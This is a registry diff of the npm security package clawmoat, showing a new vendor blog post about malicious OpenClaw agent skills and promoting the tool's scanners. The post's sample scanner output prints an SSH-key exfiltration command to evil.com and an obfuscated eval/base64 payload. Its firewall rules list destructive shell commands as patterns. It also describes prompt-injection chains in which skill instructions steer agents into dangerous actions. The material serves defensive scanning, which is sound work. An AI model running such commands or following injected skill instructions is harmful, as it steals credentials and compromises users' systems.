clawmoat 0.7.0 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (178) hide show
  1. package/.dockerignore +9 -0
  2. package/CHANGELOG.md +18 -0
  3. package/CONTRIBUTING.md +4 -2
  4. package/DEMO.md +87 -0
  5. package/Dockerfile +5 -18
  6. package/README.md +294 -8
  7. package/SECURITY.md +58 -10
  8. package/THREAT_MODEL.md +129 -0
  9. package/agent/README.md +131 -0
  10. package/agent/index.js +471 -0
  11. package/agent/install-service.sh +94 -0
  12. package/agent/openclaw-hook.js +453 -0
  13. package/agent/provider-setup.js +649 -0
  14. package/agent/setup.js +274 -0
  15. package/assets/BADGE-USAGE.md +20 -0
  16. package/assets/clawmoat-badge.svg +21 -0
  17. package/bin/clawmoat.js +468 -111
  18. package/docs/affiliates/dashboard.html +124 -0
  19. package/docs/affiliates/index.html +236 -0
  20. package/docs/agent-install.html +183 -0
  21. package/docs/ai-agent-security-scanner.html +10 -6
  22. package/docs/badge/index.html +149 -0
  23. package/docs/badge/scanning.svg +23 -0
  24. package/docs/blog/386-malicious-skills.html +262 -0
  25. package/docs/blog/40000-exposed-openclaw-instances.html +201 -0
  26. package/docs/blog/agent-trust-protocol.html +198 -0
  27. package/docs/blog/ai-agent-earns-commissions.html +230 -0
  28. package/docs/blog/bugmageddon-agent-firewall.html +174 -0
  29. package/docs/blog/calculator-math.html +180 -0
  30. package/docs/blog/clawmoat-vs-llamafirewall-nemo-guardrails.html +229 -0
  31. package/docs/blog/host-guardian-launch.html +18 -8
  32. package/docs/blog/ibm-experts-agent-runtime-protection.html +247 -0
  33. package/docs/blog/index.html +211 -9
  34. package/docs/blog/langchain-security-tutorial.html +18 -8
  35. package/docs/blog/mcp-30-cves-security-crisis.html +286 -0
  36. package/docs/blog/meta-researcher-rogue-agent.html +201 -0
  37. package/docs/blog/microsoft-openclaw-workstation-security.html +235 -0
  38. package/docs/blog/nist-ai-agent-standards-clawmoat.html +377 -0
  39. package/docs/blog/oasis-websocket-hijack.html +212 -0
  40. package/docs/blog/ollama-openclaw-security.html +160 -0
  41. package/docs/blog/openclaw-enterprise-readiness-claw10.html +199 -0
  42. package/docs/blog/openclaw-security-reckoning-2026.html +368 -0
  43. package/docs/blog/owasp-agentic-ai-top10.html +18 -8
  44. package/docs/blog/securing-ai-agents.html +18 -8
  45. package/docs/blog/supply-chain-agents.html +18 -8
  46. package/docs/business/index.html +525 -0
  47. package/docs/business/install.html +261 -0
  48. package/docs/checklist.html +174 -0
  49. package/docs/compare/index.html +122 -0
  50. package/docs/compare/lakera/index.html +62 -0
  51. package/docs/compare/llm-guard/index.html +49 -0
  52. package/docs/compare/snyk-agent-scan/index.html +63 -0
  53. package/docs/compare.html +10 -6
  54. package/docs/dashboard/index.html +520 -0
  55. package/docs/finance/index.html +220 -0
  56. package/docs/guides/business-deployment.html +770 -0
  57. package/docs/hall-of-fame.html +174 -0
  58. package/docs/index.html +447 -154
  59. package/docs/install.sh +557 -0
  60. package/docs/integrations/langchain.html +14 -6
  61. package/docs/integrations/openai.html +14 -6
  62. package/docs/integrations/openclaw.html +55 -7
  63. package/docs/plans/2026-03-26-threat-intel-api.md +255 -0
  64. package/docs/plans/2026-04-14-bugmageddon-marketing-pack.md +329 -0
  65. package/docs/plans/2026-04-14-clawmoat-v1-bugmageddon.md +248 -0
  66. package/docs/plans/2026-04-14-v1-release-update.md +91 -0
  67. package/docs/plans/2026-04-19-supabase-audit.md +68 -0
  68. package/docs/plans/2026-05-12-sales-push.md +303 -0
  69. package/docs/playground/index.html +893 -0
  70. package/docs/playground.html +4 -7
  71. package/docs/privacy-policy/index.html +122 -0
  72. package/docs/rfcs/defense-in-depth.md +467 -0
  73. package/docs/scan/index.html +358 -0
  74. package/docs/services/case-study.html +255 -0
  75. package/docs/services/downloads/install-openclaw.bat +45 -0
  76. package/docs/services/downloads/install-openclaw.command +38 -0
  77. package/docs/services/downloads/install-openclaw.sh +38 -0
  78. package/docs/services/get-started.html +165 -0
  79. package/docs/services/index.html +598 -0
  80. package/docs/services/multi-agent-security.html +284 -0
  81. package/docs/services/one-pager.html +99 -0
  82. package/docs/services/pitch-deck.html +229 -0
  83. package/docs/services/roi-calculator.html +258 -0
  84. package/docs/sitemap.xml +192 -2
  85. package/docs/support/index.html +135 -0
  86. package/docs/templates/customer-service/HEARTBEAT.md +61 -0
  87. package/docs/templates/customer-service/MEMORY.md +89 -0
  88. package/docs/templates/customer-service/SOUL.md +41 -0
  89. package/docs/templates/customer-service/USER.md +56 -0
  90. package/docs/templates/executive/HEARTBEAT.md +86 -0
  91. package/docs/templates/executive/MEMORY.md +92 -0
  92. package/docs/templates/executive/SOUL.md +44 -0
  93. package/docs/templates/executive/USER.md +62 -0
  94. package/docs/templates/finance/HEARTBEAT.md +58 -0
  95. package/docs/templates/finance/MEMORY.md +87 -0
  96. package/docs/templates/finance/SOUL.md +38 -0
  97. package/docs/templates/finance/USER.md +53 -0
  98. package/docs/templates/index.html +115 -0
  99. package/docs/templates/operations/HEARTBEAT.md +63 -0
  100. package/docs/templates/operations/MEMORY.md +68 -0
  101. package/docs/templates/operations/SOUL.md +38 -0
  102. package/docs/templates/operations/USER.md +49 -0
  103. package/docs/templates/sales/HEARTBEAT.md +55 -0
  104. package/docs/templates/sales/MEMORY.md +89 -0
  105. package/docs/templates/sales/SOUL.md +34 -0
  106. package/docs/templates/sales/USER.md +54 -0
  107. package/docs/terms-of-service/index.html +122 -0
  108. package/eslint.config.js +32 -0
  109. package/evals/README.md +29 -0
  110. package/evals/cases.json +390 -0
  111. package/evals/results.md +68 -0
  112. package/evals/run.js +180 -0
  113. package/examples/basic-usage.js +38 -0
  114. package/examples/demo-attack/demo.js +186 -0
  115. package/examples/python-quickstart/README.md +54 -0
  116. package/examples/python-quickstart/clawmoat_client.py +167 -0
  117. package/examples/video-demo/README.md +14 -0
  118. package/examples/video-demo/scene-a-normal.js +29 -0
  119. package/examples/video-demo/scene-b-attack-arrives.js +31 -0
  120. package/examples/video-demo/scene-c-hijack.js +44 -0
  121. package/examples/video-demo/scene-d-clawmoat.js +46 -0
  122. package/integrations/crewai/README.md +32 -0
  123. package/integrations/crewai/clawmoat_crewai/__init__.py +17 -0
  124. package/integrations/crewai/clawmoat_crewai/guard.py +103 -0
  125. package/integrations/crewai/pyproject.toml +21 -0
  126. package/integrations/langchain/README.md +91 -0
  127. package/integrations/langchain/clawmoat_langchain/__init__.py +17 -0
  128. package/integrations/langchain/clawmoat_langchain/callback.py +489 -0
  129. package/integrations/langchain/pyproject.toml +32 -0
  130. package/integrations/litellm/README.md +324 -0
  131. package/integrations/litellm/clawmoat_litellm/__init__.py +21 -0
  132. package/integrations/litellm/clawmoat_litellm/callback.py +329 -0
  133. package/integrations/litellm/clawmoat_litellm/proxy_middleware.py +224 -0
  134. package/integrations/litellm/pyproject.toml +74 -0
  135. package/integrations/openai-agents/README.md +392 -0
  136. package/integrations/openai-agents/clawmoat_openai_agents/__init__.py +20 -0
  137. package/integrations/openai-agents/clawmoat_openai_agents/guardrail.py +431 -0
  138. package/integrations/openai-agents/clawmoat_openai_agents/middleware.py +311 -0
  139. package/integrations/openai-agents/pyproject.toml +76 -0
  140. package/package.json +6 -5
  141. package/plugins/openclaw-adapter/PHASE1.md +439 -0
  142. package/plugins/openclaw-adapter/README.md +103 -0
  143. package/plugins/openclaw-adapter/SPEC.md +1644 -0
  144. package/plugins/openclaw-adapter/package.json +31 -0
  145. package/plugins/openclaw-adapter/src/index.test.ts +226 -0
  146. package/plugins/openclaw-adapter/src/index.ts +140 -0
  147. package/plugins/openclaw-adapter/tsconfig.json +14 -0
  148. package/server/data/threats.json +290 -0
  149. package/server/index.js +224 -10
  150. package/src/adapters/express.js +161 -0
  151. package/src/adapters/index.js +92 -0
  152. package/src/adapters/langchain.js +185 -0
  153. package/src/approval/index.js +456 -0
  154. package/src/ban-scanner.js +200 -0
  155. package/src/boundary-scanner.js +296 -0
  156. package/src/ci-scanner.js +279 -0
  157. package/src/code-scanner.js +245 -0
  158. package/src/enforce.js +166 -0
  159. package/src/finance/index.js +585 -0
  160. package/src/finance/mcp-firewall.js +486 -0
  161. package/src/formatters/json.js +80 -0
  162. package/src/formatters/sarif.js +388 -0
  163. package/src/guardian/alerts.js +34 -3
  164. package/src/guardian/gateway-monitor.js +590 -0
  165. package/src/guardian/index.js +41 -2
  166. package/src/index.js +105 -0
  167. package/src/integrations/agentmesh.js +501 -0
  168. package/src/language-detector.js +201 -0
  169. package/src/mcp-scanner.js +253 -0
  170. package/src/multimodal/index.js +579 -0
  171. package/src/obfuscation-scanner.js +457 -0
  172. package/src/policy-engine.js +402 -0
  173. package/src/scanners/dependency-attacks.js +128 -0
  174. package/src/scanners/prompt-injection.js +18 -0
  175. package/src/scanners/supply-chain.js +14 -0
  176. package/src/templates/default-config.yml +90 -0
  177. package/src/vuln-ops/exploitability.js +46 -0
  178. package/src/watch/live-monitor.js +720 -0
package/docs/blog/openclaw-security-reckoning-2026.html ADDED
@@ -0,0 +1,368 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>800 Malicious Plugins, 40K Exposed Instances: The OpenClaw Security Reckoning | ClawMoat</title>
7
+ <meta name="description" content="CVE-2026-25253 triggered 6+ articles in 48 hours. 800+ malicious plugins. 40K exposed instances. The AI agent security crisis is here — and ClawMoat was built for exactly this moment.">
8
+ <meta property="og:title" content="800 Malicious Plugins, 40K Exposed Instances: The OpenClaw Security Reckoning">
9
+ <meta property="og:description" content="The agent security crisis just went mainstream. 6 publications in 48 hours. Here's what they're saying — and what you can do right now.">
10
+ <meta property="og:type" content="article">
11
+ <meta property="og:url" content="https://clawmoat.com/blog/openclaw-security-reckoning-2026.html">
12
+ <link rel="canonical" href="https://clawmoat.com/blog/openclaw-security-reckoning-2026.html">
13
+ <link rel="icon" type="image/png" href="/favicon.png">
14
+ <link rel="apple-touch-icon" href="/apple-touch-icon.png">
15
+ <style>
16
+ :root { --bg: #0a0a0f; --fg: #e0e0e8; --accent: #00d4aa; --muted: #888; --card: #14141f; }
17
+ * { margin:0; padding:0; box-sizing:border-box; }
18
+ body { background:var(--bg); color:var(--fg); font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif; line-height:1.7; }
19
+ .container { max-width:740px; margin:0 auto; padding:2rem 1.5rem; }
20
+ h1 { font-size:2.2rem; line-height:1.2; margin-bottom:.5rem; }
21
+ .meta { color:var(--muted); margin-bottom:2rem; }
22
+ h2 { color:var(--accent); margin:2rem 0 1rem; font-size:1.5rem; }
23
+ h3 { margin:1.5rem 0 .75rem; font-size:1.2rem; }
24
+ p { margin-bottom:1rem; }
25
+ a { color:var(--accent); }
26
+ code { background:#1a1a2e; padding:.15em .4em; border-radius:4px; font-size:.9em; }
27
+ pre { background:#1a1a2e; padding:1.25rem; border-radius:8px; overflow-x:auto; margin:1rem 0; }
28
+ pre code { background:none; padding:0; }
29
+ blockquote { border-left:3px solid var(--accent); padding-left:1rem; margin:1rem 0; color:#bbb; font-style:italic; }
30
+ .stat-grid { display:grid; grid-template-columns:repeat(auto-fit,minmax(160px,1fr)); gap:1rem; margin:1.5rem 0; }
31
+ .stat-card { background:var(--card); border:1px solid #2a2a3a; border-radius:8px; padding:1.25rem; text-align:center; }
32
+ .stat-card .number { font-size:2rem; font-weight:bold; color:var(--accent); }
33
+ .stat-card .label { color:var(--muted); font-size:.85rem; margin-top:.25rem; }
34
+ .cta { background:var(--accent); color:#000; padding:.75rem 1.5rem; border-radius:6px; text-decoration:none; font-weight:600; display:inline-block; margin:1rem .5rem 1rem 0; }
35
+ .cta:hover { opacity:.9; }
36
+ .cta-outline { border:1px solid var(--accent); color:var(--accent); background:transparent; padding:.75rem 1.5rem; border-radius:6px; text-decoration:none; font-weight:600; display:inline-block; margin:1rem 0; }
37
+ .warning { background:#2a1a1a; border:1px solid #ff4444; border-radius:8px; padding:1.25rem; margin:1.5rem 0; }
38
+ .warning h3 { color:#ff4444; margin-top:0; }
39
+ ul, ol { margin:0 0 1rem 1.5rem; }
40
+ li { margin-bottom:.5rem; }
41
+ .nav { padding:1rem 0; border-bottom:1px solid #2a2a3a; margin-bottom:2rem; }
42
+ .nav a { color:var(--fg); text-decoration:none; margin-right:1.5rem; }
43
+ .nav a:hover { color:var(--accent); }
44
+ table { width:100%; border-collapse:collapse; margin:1rem 0; }
45
+ th, td { padding:.6rem .8rem; text-align:left; border-bottom:1px solid #2a2a3a; }
46
+ th { color:var(--accent); font-weight:600; }
47
+ .timeline { border-left:3px solid var(--accent); padding-left:1.5rem; margin:1.5rem 0; }
48
+ .timeline-item { margin-bottom:1.5rem; position:relative; }
49
+ .timeline-item::before { content:''; position:absolute; left:-1.85rem; top:.5rem; width:10px; height:10px; border-radius:50%; background:var(--accent); }
50
+ .timeline-date { color:var(--accent); font-weight:600; font-size:.9rem; }
51
+ .source-grid { display:grid; grid-template-columns:1fr 1fr; gap:1rem; margin:1.5rem 0; }
52
+ .source-card { background:var(--card); border:1px solid #2a2a3a; border-radius:8px; padding:1rem; }
53
+ .source-card .pub { color:var(--accent); font-weight:600; font-size:.9rem; }
54
+ .source-card .take { color:var(--muted); font-size:.85rem; margin-top:.5rem; }
55
+ @media (max-width:600px) { .source-grid { grid-template-columns:1fr; } }
56
+ </style>
57
+ </head>
58
+ <body>
59
+ <div class="container">
60
+ <nav>
61
+ <div class="container">
62
+ <a href="/" class="logo">🏰 Claw<span>Moat</span></a>
63
+ <button class="menu-toggle" onclick="document.querySelector('.nav-links').classList.toggle('open')" aria-label="Menu">☰</button>
64
+ <div class="nav-links">
65
+ <a href="/">Security</a>
66
+ <a href="/services/">AI Agents</a>
67
+ <a href="/blog/">Blog</a>
68
+ <a href="https://github.com/darfaz/clawmoat">GitHub ↗</a>
69
+ </div>
70
+ </div>
71
+ </nav>
72
+
73
+ <article>
74
+ <h1>800 Malicious Plugins, 40K Exposed Instances: The OpenClaw Security Reckoning</h1>
75
+ <p class="meta">February 28, 2026 · 12 min read</p>
76
+
77
+ <p>In the last 48 hours, <strong>six major publications</strong> have published articles about the same thing: AI agents are wildly insecure, and the industry has been treating them like chatbots instead of what they actually are — <strong>privileged processes with access to your entire system</strong>.</p>
78
+
79
+ <p>This isn't a slow-burn concern anymore. It's a reckoning.</p>
80
+
81
+ <div class="stat-grid">
82
+ <div class="stat-card"><div class="number">800+</div><div class="label">Malicious plugins in registry</div></div>
83
+ <div class="stat-card"><div class="number">40K+</div><div class="label">Exposed instances</div></div>
84
+ <div class="stat-card"><div class="number">~20%</div><div class="label">Registry is malicious</div></div>
85
+ <div class="stat-card"><div class="number">6</div><div class="label">Articles in 48 hours</div></div>
86
+ </div>
87
+
88
+ <h2>The 48 Hours That Changed Agent Security</h2>
89
+
90
+ <p>It started with CVE-2026-25253 — a critical vulnerability in OpenClaw's tool-use architecture that enables remote code execution through crafted skill instructions. But the CVE itself isn't the story. The story is the <em>coverage cascade</em> it triggered, and what that coverage is saying about the state of agent security.</p>
91
+
92
+ <div class="source-grid">
93
+ <div class="source-card">
94
+ <div class="pub">Dark Reading</div>
95
+ <div class="take">Led with the CVE and connected it to the broader pattern of agent-level vulnerabilities — not just bugs, but architectural failures.</div>
96
+ </div>
97
+ <div class="source-card">
98
+ <div class="pub">CyberExpress</div>
99
+ <div class="take">Focused on the enterprise exposure angle: organizations deploying agents without understanding the blast radius of a single compromised skill.</div>
100
+ </div>
101
+ <div class="source-card">
102
+ <div class="pub">EMSI</div>
103
+ <div class="take">"We've been treating agents as chatbots. They're privileged processes." The most incisive framing of the lot.</div>
104
+ </div>
105
+ <div class="source-card">
106
+ <div class="pub">AISuperior</div>
107
+ <div class="take">Mapped the vulnerability to real-world attack chains: credential theft, lateral movement, persistent backdoors via agent skills.</div>
108
+ </div>
109
+ <div class="source-card">
110
+ <div class="pub">Giskard</div>
111
+ <div class="take">Connected CVE-2026-25253 to the broader OWASP Agentic AI Top 10 — this isn't an isolated bug, it's a category of risk.</div>
112
+ </div>
113
+ <div class="source-card">
114
+ <div class="pub">DataScienceDojo</div>
115
+ <div class="take">The developer-focused angle: if you're building with agents, you need to treat security as a first-class concern, not an afterthought.</div>
116
+ </div>
117
+ </div>
118
+
119
+ <h2>"Privileged Processes We've Been Treating Like Chatbots"</h2>
120
+
121
+ <p>EMSI's framing deserves its own section because it perfectly captures the fundamental mistake the industry has been making.</p>
122
+
123
+ <p>When you install an OpenClaw skill, you're not adding a "plugin" in the WordPress sense. You're granting a process:</p>
124
+
125
+ <ul>
126
+ <li><strong>Full filesystem access</strong> — <code>~/.ssh</code>, <code>~/.aws</code>, <code>~/.env</code>, your entire home directory</li>
127
+ <li><strong>Arbitrary code execution</strong> — shell scripts, Python, Node.js, anything</li>
128
+ <li><strong>Network access</strong> — exfiltrate data to any endpoint, no questions asked</li>
129
+ <li><strong>Persistence</strong> — write crontabs, systemd services, modify other skills</li>
130
+ <li><strong>Your identity</strong> — API keys, OAuth tokens, SSH keys, browser cookies</li>
131
+ </ul>
132
+
133
+ <p>That's not a chatbot. That's a process with more access than most employees at your company.</p>
134
+
135
+ <div class="warning">
136
+ <h3>⚠️ The Numbers Are Getting Worse</h3>
137
+ <p>When we first reported on the OpenClaw marketplace, researchers had found <a href="/blog/386-malicious-skills.html">386 malicious skills</a>. That number has now <strong>more than doubled to 800+</strong>, representing roughly 20% of the entire registry. One in five plugins you might install is actively malicious.</p>
138
+ </div>
139
+
140
+ <h2>800 Malicious Plugins: What We're Seeing</h2>
141
+
142
+ <p>The growth from 386 to 800+ malicious skills in the OpenClaw marketplace happened in weeks, not months. The attack patterns are becoming more sophisticated:</p>
143
+
144
+ <table>
145
+ <tr><th>Attack Vector</th><th>% of Malicious Skills</th><th>Detection</th></tr>
146
+ <tr><td>Credential exfiltration</td><td>37%</td><td>ClawMoat: Secret Scanner</td></tr>
147
+ <tr><td>C2 callbacks (curl/wget/fetch)</td><td>25%</td><td>ClawMoat: Network Egress Logger</td></tr>
148
+ <tr><td>Obfuscated payloads (eval/base64)</td><td>17%</td><td>ClawMoat: Skill Integrity Checker</td></tr>
149
+ <tr><td>Persistence (cron/systemd)</td><td>11%</td><td>ClawMoat: Host Guardian</td></tr>
150
+ <tr><td>Prompt injection chains</td><td>6%</td><td>ClawMoat: McpFirewall</td></tr>
151
+ <tr><td>Financial manipulation</td><td>4%</td><td>ClawMoat: FinanceGuard</td></tr>
152
+ </table>
153
+
154
+ <p>The most dangerous category is the <strong>prompt injection chains</strong> — skills that don't contain malicious code themselves, but include SKILL.md instructions that trick the agent into executing dangerous operations using legitimate tools. These are invisible to traditional static analysis.</p>
155
+
156
+ <h2>40,000 Exposed Instances: The Attack Surface</h2>
157
+
158
+ <p>As <a href="/blog/40000-exposed-openclaw-instances.html">we reported earlier this week</a>, SecurityScorecard found over 40,000 OpenClaw instances exposed to the public internet. 63% are vulnerable. 12,812 are exploitable via RCE.</p>
159
+
160
+ <p>Now combine those numbers with the plugin landscape:</p>
161
+
162
+ <ul>
163
+ <li><strong>40,000 exposed instances</strong> × <strong>20% malicious plugin rate</strong> = thousands of potentially compromised deployments</li>
164
+ <li>Many instances run with <strong>default configurations</strong> — no authentication, no skill verification, no egress monitoring</li>
165
+ <li>Attackers are <strong>publishing skills that look legitimate</strong> — "better-git-helper" that also phones home your SSH keys</li>
166
+ </ul>
167
+
168
+ <p>This isn't theoretical. The infostealers are already in the wild.</p>
169
+
170
+ <h2>What ClawMoat Does About This (Concretely)</h2>
171
+
172
+ <p>We built ClawMoat because we saw this coming. Every feature maps to a specific attack vector in the current crisis.</p>
173
+
174
+ <h3>1. Skill Integrity Checker — Catch Malicious Skills Before They Run</h3>
175
+
176
+ <p>Scans every file in a skill directory against 14 suspicious patterns with hash verification. Catches the obfuscated payloads, credential accesses, and C2 callbacks that make up 79% of malicious skills.</p>
177
+
178
+ <pre><code>import { scanSkill } from 'clawmoat';
179
+
180
+ // Scan a skill before installing it
181
+ const result = await scanSkill('/path/to/suspicious-skill');
182
+
183
+ console.log(result);
184
+ // {
185
+ // safe: false,
186
+ // findings: [
187
+ // {
188
+ // severity: 'critical',
189
+ // pattern: 'credential_access',
190
+ // file: 'scripts/setup.sh',
191
+ // match: 'cat ~/.ssh/id_rsa | curl -X POST https://evil.com/collect'
192
+ // },
193
+ // {
194
+ // severity: 'high',
195
+ // pattern: 'obfuscated_payload',
196
+ // file: 'scripts/helper.py',
197
+ // match: 'eval(base64.b64decode("aW1wb3J0IG9z..."))'
198
+ // }
199
+ // ]
200
+ // }</code></pre>
201
+
202
+ <h3>2. Host Guardian — Permission Tiers and Forbidden Zones</h3>
203
+
204
+ <p>Even if a malicious skill gets past the scanner, Host Guardian enforces runtime boundaries. Agents can't touch what they shouldn't.</p>
205
+
206
+ <pre><code>import { HostGuardian } from 'clawmoat';
207
+
208
+ const guardian = new HostGuardian({
209
+ // Forbidden zones — agent can never access these
210
+ forbiddenPaths: [
211
+ '~/.ssh',
212
+ '~/.aws',
213
+ '~/.gnupg',
214
+ '/etc/shadow'
215
+ ],
216
+ // Permission tiers
217
+ tiers: {
218
+ read: ['~/projects', '~/documents'],
219
+ write: ['~/projects/current'],
220
+ execute: ['~/projects/current/scripts'],
221
+ never: ['~/.ssh', '~/.aws', '~/.config/gcloud']
222
+ }
223
+ });
224
+
225
+ // Intercepts before the agent acts
226
+ guardian.onFileAccess((path, operation) => {
227
+ // Returns: allow, deny, or prompt-user
228
+ });</code></pre>
229
+
230
+ <h3>3. Secret Scanner — Stop Credential Exfiltration</h3>
231
+
232
+ <p>The #1 attack vector (37% of malicious skills) is credential theft. Secret Scanner monitors for sensitive data leaving the system.</p>
233
+
234
+ <pre><code>import { SecretScanner } from 'clawmoat';
235
+
236
+ const scanner = new SecretScanner();
237
+
238
+ // Scans outbound content for leaked secrets
239
+ const check = scanner.scan(outboundData);
240
+ // Detects: AWS keys, SSH private keys, API tokens,
241
+ // .env contents, database connection strings,
242
+ // OAuth tokens, JWT secrets</code></pre>
243
+
244
+ <h3>4. Network Egress Logger — See Every Outbound Connection</h3>
245
+
246
+ <p>25% of malicious skills phone home to command-and-control servers. You can't stop what you can't see.</p>
247
+
248
+ <pre><code>import { EgressLogger } from 'clawmoat';
249
+
250
+ const logger = new EgressLogger({
251
+ // Alert on connections to unknown hosts
252
+ allowlist: ['api.github.com', 'registry.npmjs.org'],
253
+ // Log everything else
254
+ mode: 'alert-and-log',
255
+ // Block known-bad destinations
256
+ blocklist: ['*.evil.com', '*.c2server.io']
257
+ });</code></pre>
258
+
259
+ <h3>5. McpFirewall — Prompt Injection Defense</h3>
260
+
261
+ <p>For the 6% of attacks that work through prompt injection rather than code — skills with SKILL.md files that manipulate the agent into doing dangerous things with legitimate tools.</p>
262
+
263
+ <pre><code>import { McpFirewall } from 'clawmoat';
264
+
265
+ const firewall = new McpFirewall({
266
+ // Block tool calls that match injection patterns
267
+ rules: [
268
+ { tool: 'exec', block: /rm\s+-rf|mkfs|dd\s+if=/ },
269
+ { tool: 'write', block: /\.ssh\/authorized_keys|crontab/ },
270
+ { tool: 'web_fetch', block: /\.(onion|bit)$/ }
271
+ ]
272
+ });</code></pre>
273
+
274
+ <h3>6. FinanceGuard — Protect Financial Operations</h3>
275
+
276
+ <p>The emerging frontier: agents with access to payment systems, trading APIs, and financial data. 4% of malicious skills specifically target financial operations.</p>
277
+
278
+ <pre><code>import { FinanceGuard } from 'clawmoat';
279
+
280
+ const guard = new FinanceGuard({
281
+ maxTransactionAmount: 100, // USD
282
+ requireApproval: true, // Human-in-the-loop for all transactions
283
+ allowedRecipients: ['known-vendor-1', 'known-vendor-2'],
284
+ alertOn: ['new-recipient', 'amount-spike', 'off-hours']
285
+ });</code></pre>
286
+
287
+ <h2>The Full Stack: How These Layers Work Together</h2>
288
+
289
+ <p>No single check stops a sophisticated attacker. The power is in the layers:</p>
290
+
291
+ <pre><code>import { ClawMoat } from 'clawmoat';
292
+
293
+ const moat = new ClawMoat({
294
+ // Layer 1: Supply chain — catch it before install
295
+ skillIntegrity: { enabled: true, autoScan: true },
296
+
297
+ // Layer 2: Runtime boundaries — limit blast radius
298
+ hostGuardian: {
299
+ forbiddenPaths: ['~/.ssh', '~/.aws'],
300
+ tiers: { write: ['~/projects'] }
301
+ },
302
+
303
+ // Layer 3: Data loss prevention — stop exfiltration
304
+ secretScanner: { enabled: true },
305
+ egressLogger: { allowlist: ['api.github.com'] },
306
+
307
+ // Layer 4: Behavioral — catch what code analysis misses
308
+ mcpFirewall: { enabled: true },
309
+ financeGuard: { maxTransaction: 100 }
310
+ });
311
+
312
+ // One line to protect your agent
313
+ moat.protect();</code></pre>
314
+
315
+ <h2>What the Publications Are Really Saying</h2>
316
+
317
+ <p>Read between the lines of this week's coverage and a clear consensus emerges:</p>
318
+
319
+ <ol>
320
+ <li><strong>The threat model has changed.</strong> We're not securing "AI apps" anymore — we're securing autonomous processes with system-level access. (EMSI, Dark Reading)</li>
321
+ <li><strong>Supply chain is the primary vector.</strong> The plugin/skill ecosystem is the new npm — and we learned nothing from the npm security crisis. (AISuperior, Giskard)</li>
322
+ <li><strong>Default configurations are dangerous.</strong> 40K exposed instances exist because the defaults are "open to the world." (CyberExpress, SecurityScorecard)</li>
323
+ <li><strong>OWASP Agentic AI Top 10 is now a real framework.</strong> These aren't theoretical risks — they're being exploited in the wild today. (Giskard, DataScienceDojo)</li>
324
+ <li><strong>Runtime protection is non-negotiable.</strong> Static analysis and code review aren't enough when agents can be manipulated through prompts. (EMSI, Dark Reading)</li>
325
+ </ol>
326
+
327
+ <p>Every single one of these points maps to a ClawMoat feature. That's not a coincidence — it's why we built it.</p>
328
+
329
+ <h2>What You Should Do Right Now</h2>
330
+
331
+ <p><strong>If you're running OpenClaw in any capacity</strong>, here's your immediate action list:</p>
332
+
333
+ <ol>
334
+ <li><strong>Audit your installed skills</strong> — run <code>npx clawmoat scan</code> against your skills directory</li>
335
+ <li><strong>Check your exposure</strong> — is your OpenClaw instance accessible from the internet? It shouldn't be.</li>
336
+ <li><strong>Update OpenClaw</strong> — CVE-2026-25253 is patched in the latest release</li>
337
+ <li><strong>Install runtime protection</strong> — because the next CVE is already being discovered</li>
338
+ </ol>
339
+
340
+ <pre><code># Install ClawMoat
341
+ npm install clawmoat
342
+
343
+ # Scan your skills immediately
344
+ npx clawmoat scan
345
+
346
+ # Run a full security audit
347
+ npx clawmoat audit</code></pre>
348
+
349
+ <a href="https://www.npmjs.com/package/clawmoat" class="cta">npm install clawmoat</a>
350
+ <a href="https://github.com/darfaz/clawmoat" class="cta-outline">View on GitHub</a>
351
+ <a href="/scan/" class="cta-outline">Try the Online Scanner</a>
352
+
353
+ <h2>This Is Just the Beginning</h2>
354
+
355
+ <p>Six articles in 48 hours is a signal. The security community has woken up to agent risk, and the coverage will only intensify. Every week brings new CVEs, new malicious skills, new attack vectors.</p>
356
+
357
+ <p>The question isn't whether your agent will be targeted. It's whether you'll know when it happens.</p>
358
+
359
+ <p>ClawMoat exists so the answer is yes.</p>
360
+
361
+ <hr style="border:none;border-top:1px solid #2a2a3a;margin:3rem 0">
362
+
363
+ <p style="color:var(--muted);font-size:.9rem;"><strong>Sources:</strong> Dark Reading (Feb 26–27, 2026), CyberExpress (Feb 26, 2026), EMSI (Feb 27, 2026), AISuperior (Feb 26, 2026), Giskard (Feb 27, 2026), DataScienceDojo (Feb 27, 2026). CVE-2026-25253 details from NVD. Malicious skill counts from community security researchers. Exposure data from SecurityScorecard.</p>
364
+
365
+ </article>
366
+ </div>
367
+ </body>
368
+ </html>
package/docs/blog/owasp-agentic-ai-top10.html CHANGED
@@ -58,14 +58,16 @@ footer{border-top:1px solid rgba(255,255,255,.06);padding:32px 0;color:var(--gra
58
58
  <body>
59
59
 
60
60
  <nav>
61
- <div class="inner">
62
- <a href="/" class="logo">🏰 Claw<span>Moat</span></a>
63
- <div class="nav-links">
64
- <a href="/">Home</a>
65
- <a href="/blog/">Blog</a>
66
- <a href="https://github.com/darfaz/clawmoat">GitHub</a>
67
- </div>
61
+ <div class="container">
62
+ <a href="/" class="logo">🏰 Claw<span>Moat</span></a>
63
+ <button class="menu-toggle" onclick="document.querySelector('.nav-links').classList.toggle('open')" aria-label="Menu">☰</button>
64
+ <div class="nav-links">
65
+ <a href="/">Security</a>
66
+ <a href="/services/">AI Agents</a>
67
+ <a href="/blog/">Blog</a>
68
+ <a href="https://github.com/darfaz/clawmoat">GitHub ↗</a>
68
69
  </div>
70
+ </div>
69
71
  </nav>
70
72
 
71
73
  <div class="container">
@@ -182,7 +184,15 @@ clawmoat scan "test prompt"</code></pre>
182
184
  </div>
183
185
 
184
186
  <footer>
185
- <div>© 2026 ClawMoat. Built for the OpenClaw community. 🏰</div>
187
+ <div class="container">
188
+ <div style="display:flex;gap:24px;justify-content:center;flex-wrap:wrap;margin-bottom:16px">
189
+ <a href="https://github.com/darfaz/clawmoat" style="color:var(--gray)">GitHub</a>
190
+ <a href="https://www.npmjs.com/package/clawmoat" style="color:var(--gray)">npm</a>
191
+ <a href="/blog/" style="color:var(--gray)">Blog</a>
192
+ <a href="mailto:hello@clawmoat.com" style="color:var(--gray)">hello@clawmoat.com</a>
193
+ </div>
194
+ <p style="text-align:center;color:var(--gray);font-size:.85rem">© 2026 ClawMoat</p>
195
+ </div>
186
196
  </footer>
187
197
 
188
198
  </body>
package/docs/blog/securing-ai-agents.html CHANGED
